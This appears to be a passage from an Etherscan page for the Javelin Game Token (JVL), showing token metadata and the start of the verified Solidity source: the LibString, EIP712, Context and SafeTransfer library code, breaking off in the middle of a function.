ETH Price: $3,420.10 (+1.13%)
Gas: 4 Gwei

Token

Javelin Game Token (JVL)
 

Overview

Max Total Supply

997,725,661.5097 JVL

Holders

469 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cvd.eth
Balance
29,665.5450171730828784 JVL

Value
$0.00
0xdAa7c1B5fEAca5D1bC1bea7E7C07d91d3e6dfe51
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Javelin Game Token is a blockchain-based game project where users can compete with each other, play games and have fun in the global chat group.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MERC20

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

// File: contracts/utils/LibString.sol


pragma solidity ^0.8.4;

/// @notice Library for converting numbers into strings and other string operations.
/// @author SolDAO (https://github.com/Sol-DAO/solbase/blob/main/src/utils/LibString.sol)
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/LibString.sol)
library LibString {
    /// -----------------------------------------------------------------------
    /// Custom Errors
    /// -----------------------------------------------------------------------

    /// @dev The `length` of the output is too small to contain all the hex digits.
    error HexLengthInsufficient();

    /// -----------------------------------------------------------------------
    /// Constants
    /// -----------------------------------------------------------------------

    /// @dev The constant returned when the `search` is not found in the string.
    uint256 internal constant NOT_FOUND = uint256(int256(-1));

    /// -----------------------------------------------------------------------
    /// Decimal Operations
    /// -----------------------------------------------------------------------

    /// @dev Returns the base 10 decimal representation of `value`.
    function toString(uint256 value) internal pure returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }

    /// -----------------------------------------------------------------------
    /// Hexadecimal Operations
    /// -----------------------------------------------------------------------

    /// @dev Returns the hexadecimal representation of `value`,
    /// left-padded to an input length of `length` bytes.
    /// The output is prefixed with "0x" encoded using 2 hexadecimal digits per byte,
    /// giving a total length of `length * 2 + 2` bytes.
    /// Reverts if `length` is too small for the output to contain all the digits.
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory str) {
        assembly {
            let start := mload(0x40)
            // We need 0x20 bytes for the trailing zeros padding, `length * 2` bytes
            // for the digits, 0x02 bytes for the prefix, and 0x20 bytes for the length.
            // We add 0x20 to the total and round down to a multiple of 0x20.
            // (0x20 + 0x20 + 0x02 + 0x20) = 0x62.
            let m := add(start, and(add(shl(1, length), 0x62), not(0x1f)))
            // Allocate the memory.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end to calculate the length later.
            let end := str
            // Store "0123456789abcdef" in scratch space.
            mstore(0x0f, 0x30313233343536373839616263646566)

            let temp := value
            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for {} 1 {} {
                str := sub(str, 2)
                mstore8(add(str, 1), mload(and(temp, 15)))
                mstore8(str, mload(and(shr(4, temp), 15)))
                temp := shr(8, temp)
                length := sub(length, 1)
                // prettier-ignore
                if iszero(length) { break }
            }

            if temp {
                // Store the function selector of `HexLengthInsufficient()`.
                mstore(0x00, 0x2194895a)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            // Compute the string's length.
            let strLength := add(sub(end, str), 2)
            // Move the pointer and write the "0x" prefix.
            str := sub(str, 0x20)
            mstore(str, 0x3078)
            // Move the pointer and write the length.
            str := sub(str, 2)
            mstore(str, strLength)
        }
    }

    /// @dev Returns the hexadecimal representation of `value`.
    /// The output is prefixed with "0x" and encoded using 2 hexadecimal digits per byte.
    /// As address are 20 bytes long, the output will left-padded to have
    /// a length of `20 * 2 + 2` bytes.
    function toHexString(uint256 value) internal pure returns (string memory str) {
        assembly {
            let start := mload(0x40)
            // We need 0x20 bytes for the trailing zeros padding, 0x20 bytes for the length,
            // 0x02 bytes for the prefix, and 0x40 bytes for the digits.
            // The next multiple of 0x20 above (0x20 + 0x20 + 0x02 + 0x40) is 0xa0.
            let m := add(start, 0xa0)
            // Allocate the memory.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end to calculate the length later.
            let end := str
            // Store "0123456789abcdef" in scratch space.
            mstore(0x0f, 0x30313233343536373839616263646566)

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 2)
                mstore8(add(str, 1), mload(and(temp, 15)))
                mstore8(str, mload(and(shr(4, temp), 15)))
                temp := shr(8, temp)
                // prettier-ignore
                if iszero(temp) { break }
            }

            // Compute the string's length.
            let strLength := add(sub(end, str), 2)
            // Move the pointer and write the "0x" prefix.
            str := sub(str, 0x20)
            mstore(str, 0x3078)
            // Move the pointer and write the length.
            str := sub(str, 2)
            mstore(str, strLength)
        }
    }

    /// @dev Returns the hexadecimal representation of `value`.
    /// The output is prefixed with "0x" and encoded using 2 hexadecimal digits per byte.
    function toHexString(address value) internal pure returns (string memory str) {
        assembly {
            let start := mload(0x40)
            // We need 0x20 bytes for the length, 0x02 bytes for the prefix,
            // and 0x28 bytes for the digits.
            // The next multiple of 0x20 above (0x20 + 0x02 + 0x28) is 0x60.
            str := add(start, 0x60)

            // Allocate the memory.
            mstore(0x40, str)
            // Store "0123456789abcdef" in scratch space.
            mstore(0x0f, 0x30313233343536373839616263646566)

            let length := 20
            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 2)
                mstore8(add(str, 1), mload(and(temp, 15)))
                mstore8(str, mload(and(shr(4, temp), 15)))
                temp := shr(8, temp)
                length := sub(length, 1)
                // prettier-ignore
                if iszero(length) { break }
            }

            // Move the pointer and write the "0x" prefix.
            str := sub(str, 32)
            mstore(str, 0x3078)
            // Move the pointer and write the length.
            str := sub(str, 2)
            mstore(str, 42)
        }
    }

    /// -----------------------------------------------------------------------
    /// Other String Operations
    /// -----------------------------------------------------------------------

    // For performance and bytecode compactness, all indices of the following operations
    // are byte (ASCII) offsets, not UTF character offsets.

    /// @dev Returns `subject` all occurances of `search` replaced with `replacement`.
    function replace(
        string memory subject,
        string memory search,
        string memory replacement
    ) internal pure returns (string memory result) {
        assembly {
            let subjectLength := mload(subject)
            let searchLength := mload(search)
            let replacementLength := mload(replacement)

            subject := add(subject, 0x20)
            search := add(search, 0x20)
            replacement := add(replacement, 0x20)
            result := add(mload(0x40), 0x20)

            let subjectEnd := add(subject, subjectLength)
            if iszero(gt(searchLength, subjectLength)) {
                let subjectSearchEnd := add(sub(subjectEnd, searchLength), 1)
                let h := 0
                if iszero(lt(searchLength, 32)) {
                    h := keccak256(search, searchLength)
                }
                let m := shl(3, sub(32, and(searchLength, 31)))
                let s := mload(search)
                // prettier-ignore
                for {} 1 {} {
                    let t := mload(subject)
                    // Whether the first `searchLength % 32` bytes of 
                    // `subject` and `search` matches.
                    if iszero(shr(m, xor(t, s))) {
                        if h {
                            if iszero(eq(keccak256(subject, searchLength), h)) {
                                mstore(result, t)
                                result := add(result, 1)
                                subject := add(subject, 1)
                                // prettier-ignore
                                if iszero(lt(subject, subjectSearchEnd)) { break }
                                continue
                            }
                        }
                        // Copy the `replacement` one word at a time.
                        // prettier-ignore
                        for { let o := 0 } 1 {} {
                            mstore(add(result, o), mload(add(replacement, o)))
                            o := add(o, 0x20)
                            // prettier-ignore
                            if iszero(lt(o, replacementLength)) { break }
                        }
                        result := add(result, replacementLength)
                        subject := add(subject, searchLength)
                        if searchLength {
                            // prettier-ignore
                            if iszero(lt(subject, subjectSearchEnd)) { break }
                            continue
                        }
                    }
                    mstore(result, t)
                    result := add(result, 1)
                    subject := add(subject, 1)
                    // prettier-ignore
                    if iszero(lt(subject, subjectSearchEnd)) { break }
                }
            }

            let resultRemainder := result
            result := add(mload(0x40), 0x20)
            let k := add(sub(resultRemainder, result), sub(subjectEnd, subject))
            // Copy the rest of the string one word at a time.
            // prettier-ignore
            for {} lt(subject, subjectEnd) {} {
                mstore(resultRemainder, mload(subject))
                resultRemainder := add(resultRemainder, 0x20)
                subject := add(subject, 0x20)
            }
            result := sub(result, 0x20)
            // Zeroize the slot after the string.
            let last := add(add(result, 0x20), k)
            mstore(last, 0)
            // Allocate memory for the length and the bytes,
            // rounded up to a multiple of 32.
            mstore(0x40, and(add(last, 31), not(31)))
            // Store the length of the result.
            mstore(result, k)
        }
    }

    /// @dev Returns the byte index of the first location of `search` in `subject`,
    /// searching from left to right, starting from `from`.
    /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found.
    function indexOf(string memory subject, string memory search, uint256 from) internal pure returns (uint256 result) {
        assembly {
            // prettier-ignore
            for { let subjectLength := mload(subject) } 1 {} {
                if iszero(mload(search)) {
                    // `result = min(from, subjectLength)`.
                    result := xor(from, mul(xor(from, subjectLength), lt(subjectLength, from)))
                    break
                }
                let searchLength := mload(search)
                let subjectStart := add(subject, 0x20)    
                
                result := not(0) // Initialize to `NOT_FOUND`.

                subject := add(subjectStart, from)
                let subjectSearchEnd := add(sub(add(subjectStart, subjectLength), searchLength), 1)

                let m := shl(3, sub(32, and(searchLength, 31)))
                let s := mload(add(search, 0x20))

                // prettier-ignore
                if iszero(lt(subject, subjectSearchEnd)) { break }

                if iszero(lt(searchLength, 32)) {
                    // prettier-ignore
                    for { let h := keccak256(add(search, 0x20), searchLength) } 1 {} {
                        if iszero(shr(m, xor(mload(subject), s))) {
                            if eq(keccak256(subject, searchLength), h) {
                                result := sub(subject, subjectStart)
                                break
                            }
                        }
                        subject := add(subject, 1)
                        // prettier-ignore
                        if iszero(lt(subject, subjectSearchEnd)) { break }
                    }
                    break
                }
                // prettier-ignore
                for {} 1 {} {
                    if iszero(shr(m, xor(mload(subject), s))) {
                        result := sub(subject, subjectStart)
                        break
                    }
                    subject := add(subject, 1)
                    // prettier-ignore
                    if iszero(lt(subject, subjectSearchEnd)) { break }
                }
                break
            }
        }
    }

    /// @dev Returns the byte index of the first location of `search` in `subject`,
    /// searching from left to right.
    /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found.
    function indexOf(string memory subject, string memory search) internal pure returns (uint256 result) {
        result = indexOf(subject, search, 0);
    }

    /// @dev Returns the byte index of the first location of `search` in `subject`,
    /// searching from right to left, starting from `from`.
    /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found.
    function lastIndexOf(
        string memory subject,
        string memory search,
        uint256 from
    ) internal pure returns (uint256 result) {
        assembly {
            // prettier-ignore
            for {} 1 {} {
                let searchLength := mload(search)
                let fromMax := sub(mload(subject), searchLength)
                if iszero(gt(fromMax, from)) {
                    from := fromMax
                }
                if iszero(mload(search)) {
                    result := from
                    break
                }
                result := not(0) // Initialize to `NOT_FOUND`.

                let subjectSearchEnd := sub(add(subject, 0x20), 1)

                subject := add(add(subject, 0x20), from)
                // prettier-ignore
                if iszero(gt(subject, subjectSearchEnd)) { break }
                // As this function is not too often used,
                // we shall simply use keccak256 for smaller bytecode size.
                // prettier-ignore
                for { let h := keccak256(add(search, 0x20), searchLength) } 1 {} {
                    if eq(keccak256(subject, searchLength), h) {
                        result := sub(subject, add(subjectSearchEnd, 1))
                        break
                    }
                    subject := sub(subject, 1)
                    // prettier-ignore
                    if iszero(gt(subject, subjectSearchEnd)) { break }
                }
                break
            }
        }
    }

    /// @dev Returns the index of the first location of `search` in `subject`,
    /// searching from right to left.
    /// Returns `NOT_FOUND` (i.e. `type(uint256).max`) if the `search` is not found.
    function lastIndexOf(string memory subject, string memory search) internal pure returns (uint256 result) {
        result = lastIndexOf(subject, search, uint256(int256(-1)));
    }

    /// @dev Returns whether `subject` starts with `search`.
    function startsWith(string memory subject, string memory search) internal pure returns (bool result) {
        assembly {
            let searchLength := mload(search)
            // Just using keccak256 directly is actually cheaper.
            result := and(
                iszero(gt(searchLength, mload(subject))),
                eq(keccak256(add(subject, 0x20), searchLength), keccak256(add(search, 0x20), searchLength))
            )
        }
    }

    /// @dev Returns whether `subject` ends with `search`.
    function endsWith(string memory subject, string memory search) internal pure returns (bool result) {
        assembly {
            let searchLength := mload(search)
            let subjectLength := mload(subject)
            // Whether `search` is not longer than `subject`.
            let withinRange := iszero(gt(searchLength, subjectLength))
            // Just using keccak256 directly is actually cheaper.
            result := and(
                withinRange,
                eq(
                    keccak256(
                        // `subject + 0x20 + max(subjectLength - searchLength, 0)`.
                        add(add(subject, 0x20), mul(withinRange, sub(subjectLength, searchLength))),
                        searchLength
                    ),
                    keccak256(add(search, 0x20), searchLength)
                )
            )
        }
    }

    /// @dev Returns `subject` repeated `times`.
    function repeat(string memory subject, uint256 times) internal pure returns (string memory result) {
        assembly {
            let subjectLength := mload(subject)
            if iszero(or(iszero(times), iszero(subjectLength))) {
                subject := add(subject, 0x20)
                result := mload(0x40)
                let output := add(result, 0x20)
                // prettier-ignore
                for {} 1 {} {
                    // Copy the `subject` one word at a time.
                    // prettier-ignore
                    for { let o := 0 } 1 {} {
                        mstore(add(output, o), mload(add(subject, o)))
                        o := add(o, 0x20)
                        // prettier-ignore
                        if iszero(lt(o, subjectLength)) { break }
                    }
                    output := add(output, subjectLength)
                    times := sub(times, 1)
                    // prettier-ignore
                    if iszero(times) { break }
                }
                // Zeroize the slot after the string.
                mstore(output, 0)
                // Store the length.
                let resultLength := sub(output, add(result, 0x20))
                mstore(result, resultLength)
                // Allocate memory for the length and the bytes,
                // rounded up to a multiple of 32.
                mstore(0x40, add(result, and(add(resultLength, 63), not(31))))
            }
        }
    }

    /// @dev Returns a copy of `subject` sliced from `start` to `end` (exclusive).
    /// `start` and `end` are byte offsets.
    function slice(string memory subject, uint256 start, uint256 end) internal pure returns (string memory result) {
        assembly {
            let subjectLength := mload(subject)
            if iszero(gt(subjectLength, end)) {
                end := subjectLength
            }
            if iszero(gt(subjectLength, start)) {
                start := subjectLength
            }
            if lt(start, end) {
                result := mload(0x40)
                let resultLength := sub(end, start)
                mstore(result, resultLength)
                subject := add(subject, start)
                // Copy the `subject` one word at a time, backwards.
                // prettier-ignore
                for { let o := and(add(resultLength, 31), not(31)) } 1 {} {
                    mstore(add(result, o), mload(add(subject, o)))
                    o := sub(o, 0x20)
                    // prettier-ignore
                    if iszero(o) { break }
                }
                // Zeroize the slot after the string.
                mstore(add(add(result, 0x20), resultLength), 0)
                // Allocate memory for the length and the bytes,
                // rounded up to a multiple of 32.
                mstore(0x40, add(result, and(add(resultLength, 63), not(31))))
            }
        }
    }

    /// @dev Returns a copy of `subject` sliced from `start` to the end of the string.
    /// `start` is a byte offset.
    function slice(string memory subject, uint256 start) internal pure returns (string memory result) {
        result = slice(subject, start, uint256(int256(-1)));
    }

    /// @dev Returns all the indices of `search` in `subject`.
    /// The indices are byte offsets.
    function indicesOf(string memory subject, string memory search) internal pure returns (uint256[] memory result) {
        assembly {
            let subjectLength := mload(subject)
            let searchLength := mload(search)

            if iszero(gt(searchLength, subjectLength)) {
                subject := add(subject, 0x20)
                search := add(search, 0x20)
                result := add(mload(0x40), 0x20)

                let subjectStart := subject
                let subjectSearchEnd := add(sub(add(subject, subjectLength), searchLength), 1)
                let h := 0
                if iszero(lt(searchLength, 32)) {
                    h := keccak256(search, searchLength)
                }
                let m := shl(3, sub(32, and(searchLength, 31)))
                let s := mload(search)
                // prettier-ignore
                for {} 1 {} {
                    let t := mload(subject)
                    // Whether the first `searchLength % 32` bytes of 
                    // `subject` and `search` matches.
                    if iszero(shr(m, xor(t, s))) {
                        if h {
                            if iszero(eq(keccak256(subject, searchLength), h)) {
                                subject := add(subject, 1)
                                // prettier-ignore
                                if iszero(lt(subject, subjectSearchEnd)) { break }
                                continue
                            }
                        }
                        // Append to `result`.
                        mstore(result, sub(subject, subjectStart))
                        result := add(result, 0x20)
                        // Advance `subject` by `searchLength`.
                        subject := add(subject, searchLength)
                        if searchLength {
                            // prettier-ignore
                            if iszero(lt(subject, subjectSearchEnd)) { break }
                            continue
                        }
                    }
                    subject := add(subject, 1)
                    // prettier-ignore
                    if iszero(lt(subject, subjectSearchEnd)) { break }
                }
                let resultEnd := result
                // Assign `result` to the free memory pointer.
                result := mload(0x40)
                // Store the length of `result`.
                mstore(result, shr(5, sub(resultEnd, add(result, 0x20))))
                // Allocate memory for result.
                // We allocate one more word, so this array can be recycled for {split}.
                mstore(0x40, add(resultEnd, 0x20))
            }
        }
    }

    /// @dev Returns a arrays of strings based on the `delimiter` inside of the `subject` string.
    function split(string memory subject, string memory delimiter) internal pure returns (string[] memory result) {
        uint256[] memory indices = indicesOf(subject, delimiter);
        assembly {
            if mload(indices) {
                let indexPtr := add(indices, 0x20)
                let indicesEnd := add(indexPtr, shl(5, add(mload(indices), 1)))
                mstore(sub(indicesEnd, 0x20), mload(subject))
                mstore(indices, add(mload(indices), 1))
                let prevIndex := 0
                // prettier-ignore
                for {} 1 {} {
                    let index := mload(indexPtr)
                    mstore(indexPtr, 0x60)                        
                    if iszero(eq(index, prevIndex)) {
                        let element := mload(0x40)
                        let elementLength := sub(index, prevIndex)
                        mstore(element, elementLength)
                        // Copy the `subject` one word at a time, backwards.
                        // prettier-ignore
                        for { let o := and(add(elementLength, 31), not(31)) } 1 {} {
                            mstore(add(element, o), mload(add(add(subject, prevIndex), o)))
                            o := sub(o, 0x20)
                            // prettier-ignore
                            if iszero(o) { break }
                        }
                        // Zeroize the slot after the string.
                        mstore(add(add(element, 0x20), elementLength), 0)
                        // Allocate memory for the length and the bytes,
                        // rounded up to a multiple of 32.
                        mstore(0x40, add(element, and(add(elementLength, 63), not(31))))
                        // Store the `element` into the array.
                        mstore(indexPtr, element)                        
                    }
                    prevIndex := add(index, mload(delimiter))
                    indexPtr := add(indexPtr, 0x20)
                    // prettier-ignore
                    if iszero(lt(indexPtr, indicesEnd)) { break }
                }
                result := indices
                if iszero(mload(delimiter)) {
                    result := add(indices, 0x20)
                    mstore(result, sub(mload(indices), 2))
                }
            }
        }
    }

    /// @dev Returns a concatenated string of `a` and `b`.
    /// Cheaper than `string.concat()` and does not de-align the free memory pointer.
    function concat(string memory a, string memory b) internal pure returns (string memory result) {
        assembly {
            result := mload(0x40)
            let aLength := mload(a)
            // Copy `a` one word at a time, backwards.
            // prettier-ignore
            for { let o := and(add(mload(a), 32), not(31)) } 1 {} {
                mstore(add(result, o), mload(add(a, o)))
                o := sub(o, 0x20)
                // prettier-ignore
                if iszero(o) { break }
            }
            let bLength := mload(b)
            let output := add(result, mload(a))
            // Copy `b` one word at a time, backwards.
            // prettier-ignore
            for { let o := and(add(bLength, 32), not(31)) } 1 {} {
                mstore(add(output, o), mload(add(b, o)))
                o := sub(o, 0x20)
                // prettier-ignore
                if iszero(o) { break }
            }
            let totalLength := add(aLength, bLength)
            let last := add(add(result, 0x20), totalLength)
            // Zeroize the slot after the string.
            mstore(last, 0)
            // Stores the length.
            mstore(result, totalLength)
            // Allocate memory for the length and the bytes,
            // rounded up to a multiple of 32.
            mstore(0x40, and(add(last, 31), not(31)))
        }
    }

    /// @dev Packs a single string with its length into a single word.
    /// Returns `bytes32(0)` if the length is zero or greater than 31.
    function packOne(string memory a) internal pure returns (bytes32 result) {
        assembly {
            // We don't need to zero right pad the string,
            // since this is our own custom non-standard packing scheme.
            result := mul(
                // Load the length and the bytes.
                mload(add(a, 0x1f)),
                // `length != 0 && length < 32`. Abuses underflow.
                // Assumes that the length is valid and within the block gas limit.
                lt(sub(mload(a), 1), 0x1f)
            )
        }
    }

    /// @dev Unpacks a string packed using {packOne}.
    /// Returns the empty string if `packed` is `bytes32(0)`.
    /// If `packed` is not an output of {packOne}, the output behaviour is undefined.
    function unpackOne(bytes32 packed) internal pure returns (string memory result) {
        assembly {
            // Grab the free memory pointer.
            result := mload(0x40)
            // Allocate 2 words (1 for the length, 1 for the bytes).
            mstore(0x40, add(result, 0x40))
            // Zeroize the length slot.
            mstore(result, 0)
            // Store the length and bytes.
            mstore(add(result, 0x1f), packed)
            // Right pad with zeroes.
            mstore(add(add(result, 0x20), mload(result)), 0)
        }
    }

    /// @dev Packs two strings with their lengths into a single word.
    /// Returns `bytes32(0)` if combined length is zero or greater than 30.
    function packTwo(string memory a, string memory b) internal pure returns (bytes32 result) {
        assembly {
            let aLength := mload(a)
            // We don't need to zero right pad the strings,
            // since this is our own custom non-standard packing scheme.
            result := mul(
                // Load the length and the bytes of `a` and `b`.
                or(shl(shl(3, sub(0x1f, aLength)), mload(add(a, aLength))), mload(sub(add(b, 0x1e), aLength))),
                // `totalLength != 0 && totalLength < 31`. Abuses underflow.
                // Assumes that the lengths are valid and within the block gas limit.
                lt(sub(add(aLength, mload(b)), 1), 0x1e)
            )
        }
    }

    /// @dev Unpacks strings packed using {packTwo}.
    /// Returns the empty strings if `packed` is `bytes32(0)`.
    /// If `packed` is not an output of {packTwo}, the output behaviour is undefined.
    function unpackTwo(bytes32 packed) internal pure returns (string memory resultA, string memory resultB) {
        assembly {
            // Grab the free memory pointer.
            resultA := mload(0x40)
            resultB := add(resultA, 0x40)
            // Allocate 2 words for each string (1 for the length, 1 for the byte). Total 4 words.
            mstore(0x40, add(resultB, 0x40))
            // Zeroize the length slots.
            mstore(resultA, 0)
            mstore(resultB, 0)
            // Store the lengths and bytes.
            mstore(add(resultA, 0x1f), packed)
            mstore(add(resultB, 0x1f), mload(add(add(resultA, 0x20), mload(resultA))))
            // Right pad with zeroes.
            mstore(add(add(resultA, 0x20), mload(resultA)), 0)
            mstore(add(add(resultB, 0x20), mload(resultB)), 0)
        }
    }

    /// @dev Directly returns `a` without copying.
    function directReturn(string memory a) internal pure {
        assembly {
            // Right pad with zeroes. Just in case the string is produced
            // by a method that doesn't zero right pad.
            mstore(add(add(a, 0x20), mload(a)), 0)
            // Store the return offset.
            // Assumes that the string does not start from the scratch space.
            mstore(sub(a, 0x20), 0x20)
            // End the transaction, returning the string.
            return(sub(a, 0x20), add(mload(a), 0x40))
        }
    }
}
// File: contracts/interfaces/IERC5267.sol


// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.19;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}
// File: contracts/abstracts/EIP712.sol


pragma solidity ^0.8.19;



abstract contract EIP712 is IERC5267 {

    using LibString for *;

    bytes32 internal constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;

    bytes32 internal immutable DOMAIN_NAME;
    bytes32 internal immutable HASHED_DOMAIN_NAME;

    bytes32 internal immutable DOMAIN_VERSION;
    bytes32 internal immutable HASHED_DOMAIN_VERSION;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    uint256 internal immutable INITIAL_CHAIN_ID;

    constructor(string memory domainName, string memory version) {
        DOMAIN_NAME = domainName.packOne();
        HASHED_DOMAIN_NAME = keccak256(bytes(domainName));
        DOMAIN_VERSION = version.packOne();
        HASHED_DOMAIN_VERSION = keccak256(bytes(version));
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
        INITIAL_CHAIN_ID = block.chainid;
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f",
            DOMAIN_NAME.unpackOne(),
            DOMAIN_VERSION.unpackOne(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(DOMAIN_TYPEHASH, HASHED_DOMAIN_NAME, HASHED_DOMAIN_VERSION, block.chainid, address(this))
            );
    }

    function computeDigest(bytes32 hashStruct) internal view virtual returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), hashStruct));
    }
}
// File: contracts/abstracts/Context.sol



pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _msgValue() internal view virtual returns(uint256) {
        return msg.value;
    }
}
// File: contracts/utils/SafeTransfer.sol


pragma solidity ^0.8.4;

/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author SolDAO (https://github.com/Sol-DAO/solbase/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Solady (https://github.com/vectorized/solady/blob/main/src/utils/SafeTransferLib.sol)
/// @dev Caution! This library won't check that a token has code, responsibility is delegated to the caller.
library SafeTransfer {
    /// -----------------------------------------------------------------------
    /// Custom Errors
    /// -----------------------------------------------------------------------

    /// @dev The ETH transfer has failed.
    error ETHTransferFailed();

    /// @dev The ERC20 `approve` has failed.
    error ApproveFailed();

    /// @dev The ERC20 `transfer` has failed.
    error TransferFailed();

    /// @dev The ERC20 `burn` has failed.
    error BurnFailed();

    /// @dev The ERC20 `transferFrom` has failed.
    error TransferFromFailed();

    /// -----------------------------------------------------------------------
    /// ETH Operations
    /// -----------------------------------------------------------------------

    /// @dev Sends `amount` (in wei) ETH to `to`.
    /// Reverts upon failure.
    function safeTransferETH(address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // Transfer the ETH and check if it succeeded or not.
            if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
                // Store the function selector of `ETHTransferFailed()`.
                mstore(0x00, 0xb12d13eb)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
        }
    }

    /// -----------------------------------------------------------------------
    /// ERC20 Operations
    /// -----------------------------------------------------------------------

    /// @dev Sets `amount` of ERC20 `token` for `to` to manage on behalf of the current contract.
    /// Reverts upon failure.
    function safeApprove(address token, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // We'll write our calldata to this slot below, but restore it later.
            let memPointer := mload(0x40)

            // Write the abi-encoded calldata into memory, beginning with the function selector.
            mstore(0x00, 0x095ea7b3)
            mstore(0x20, to) // Append the "to" argument.
            mstore(0x40, amount) // Append the "amount" argument.

            if iszero(
                and(
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 2)
                    // Counterintuitively, this call() must be positioned after the or() in the
                    // surrounding and() because and() evaluates its arguments from right to left.
                    call(gas(), token, 0, 0x1c, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `ApproveFailed()`.
                mstore(0x00, 0x3e3f8f73)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x40, memPointer) // Restore the memPointer.
        }
    }

    /// @dev Sends `amount` of ERC20 `token` from the current contract to `to`.
    /// Reverts upon failure.
    function safeTransfer(address token, address to, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // We'll write our calldata to this slot below, but restore it later.
            let memPointer := mload(0x40)

            // Write the abi-encoded calldata into memory, beginning with the function selector.
            mstore(0x00, 0xa9059cbb)
            mstore(0x20, to) // Append the "to" argument.
            mstore(0x40, amount) // Append the "amount" argument.

            if iszero(
                and(
                    // Set success to whether the call reverted, if not we check it either
                    // returned exactly 1 (can't just be non-zero data), or had no return data.
                    or(eq(mload(0x00), 1), iszero(returndatasize())),
                    // We use 0x44 because that's the total length of our calldata (0x04 + 0x20 * 2)
                    // Counterintuitively, this call() must be positioned after the or() in the
                    // surrounding and() because and() evaluates its arguments from right to left.
                    call(gas(), token, 0, 0x1c, 0x44, 0x00, 0x20)
                )
            ) {
                // Store the function selector of `TransferFailed()`.
                mstore(0x00, 0x90b8ec18)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }

            mstore(0x40, memPointer) // Restore the memPointer.
        }
    }

    function safeBurn(address token, uint256 amount) internal {
        /// @solidity memory-safe-assembly
        assembly {
            // We'll write our calldata to this slot below, but restore it later.
